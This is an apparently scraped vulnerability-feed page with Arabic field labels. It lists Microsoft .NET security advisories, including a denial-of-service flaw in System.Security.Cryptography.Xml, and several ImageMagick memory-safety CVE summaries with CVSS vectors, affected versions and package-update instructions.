[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 10.0.0, <= 10.0.5 | 10.0.6 [Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 10.0.0, <= 10.0.5 | 10.0.6 ## Advisory FAQ ### <a name="how-affected"></a>How do I know if I am affected? If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability. ### <a name="how-fix"></a>How do I fix the issue? 1. To fix the issue please install the latest version of .NET 8.0, NET 9.0, or .NET 10.0, as appropriate. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs. 2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command. Once you have installed the updated runtime or SDK, restart your apps for the update to take effect. Additionally, if you've deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed. ## Other Information ### Reporting Security Issues If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue). Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty. ### Support You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue. ### Disclaimer The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ### External Links [CVE-2026-32178]( https://www.cve.org/CVERecord?id=CVE-2026-32178) ### Acknowledgements Ludvig Pedersen ### Revisions V1.0 (April 14, 2026): Advisory published.

الإصدارات المتأثرة

>= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 10.0.0, <= 10.0.5, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 9.0.0, <= 9.0.14, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25, >= 8.0.0, <= 8.0.25

نوع الثغرة

CWE-138 — CWE-138

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

المراجع

الوصف الكامل

## Executive Summary: Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. A vulnerability exists in EncryptedXml class where uncontrolled resource consumption can give an attacker to the ability to perform a Denial of Service attack. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/xxxxx ## CVSS Details - **Version:** 3.1 - **Severity:** High - **Score:** 7.5 - **Vector:** 7.5: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H E:U/RL:O/RC:C - **Weakness:** CWE-400 CWE-611: Uncontrolled Resource Consumption Improper Restriction of XML External Entity Reference ## Affected Platforms - **Platforms:** All - **Architectures:** All ## <a name="affected-packages"></a>Affected Packages The vulnerability affects any Microsoft .NET project if it uses any of affected packages versions listed below ### <a name=".NET 10"></a>.NET 10 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >=10.0.0, <=10.0.5; | 10.0.6 ### <a name=".NET 9"></a>.NET 9 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >=9.0.0, <=9.0.14; | 9.0.15 ### <a name=".NET 8"></a>.NET 8 Package name | Affected version | Patched version ------------ | ---------------- | ------------------------- [System.Security.Cryptography.xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >=8.0.0, <=8.0.2; | 8.0.3 ## Advisory FAQ ### <a name="how-affected"></a>How do I know if I am affected? If using an affected package listed in [affected packages](#affected-packages), you're exposed to the vulnerability. ### <a name="how-fix"></a>How do I fix the issue? To update the Using the System.Security.Cryptography.Xml NuGet package, use one of the following methods: NuGet Package Manager UI in Visual Studio: - Open your project in Visual Studio. - Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages". - In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources. - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version. - Click the "Update" button. Using the NuGet Package Manager Console in Visual Studio: - Open your project in Visual Studio. - Navigate to "Tools > NuGet Package Manager > Package Manager Console". - To update a specific package to its latest version, use the following Update-Package command: ```Update-Package -Id System.Security.Cryptography.xml``` Using the .NET CLI (Command Line Interface): - Open a terminal or command prompt in your project's directory. - To update a specific package to its latest version, use the following add package command: ```dotnet add package System.Security.Cryptography.Xml``` Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability. ## Other Information ### Reporting Security Issues If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue). Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty. ### Support You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue. ### Disclaimer The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ### External Links [CVE-2026-26171](https://www.cve.org/CVERecord?id=CVE-2026-26171) ### Acknowledgements Ludvig Pedersen ### Revisions V1.0 (April 14, 2026): Advisory published.

الإصدارات المتأثرة

>= 10.0.0, <= 10.0.5, >= 9.0.0, <= 9.0.14, >= 8.0.0, <= 8.0.2

نوع الثغرة

CWE-400 — DoS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, a heap buffer overflow occurs in the MVG decoder that could result in an out of bounds write when processing a crafted image. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-122 — CWE-122

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, Magick frees the memory of the XML tree via the `DestroyXMLTree()` function; however, this process is executed recursively with no depth limit imposed. When Magick processes an XML file with deeply nested structures, it will exhaust the stack memory, resulting in a Denial of Service (DoS) attack. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-674 — CWE-674

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below 7.1.2-19, an off by one error in the MSL decoder could result in a crash when a malicous MSL file is read. This issue has been fixed in version 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-193 — CWE-193

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. Versions below 7.1.2-19 and 6.9.13-44 contain a heap use-after-free vulnerability that can cause a crash when reading and printing values from an invalid XMP profile. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-416 — Use After Free

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. Versions below both 7.1.2-19 and 6.9.13-44, contain a heap out-of-bounds write in the JP2 encoder with when a user specifies an invalid sampling index. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-122 — CWE-122

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below 7.1.2-19, the JXL encoder has an heap write overflow when a user specifies that the image should be encoded as 16 bit floats. This issue has been fixed in version 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-122 — CWE-122

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below 7.1.2-19, a crafted image could result in an out of bounds heap write when writing a yaml or json output, resulting in a crash. This issue has been fixed in version 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-122 — CWE-122

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, the -sample operation has an out of bounds read when an specific offset is set through the `sample:offset` define that could lead to an out of bounds read. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-125 — Out-of-bounds Read

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, a stack overflow vulnerability in ImageMagick's FX expression parser allows an attacker to crash the process by providing a deeply nested expression. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

الإصدارات المتأثرة

< 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0, < 14.12.0

نوع الثغرة

CWE-674 — CWE-674

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

المراجع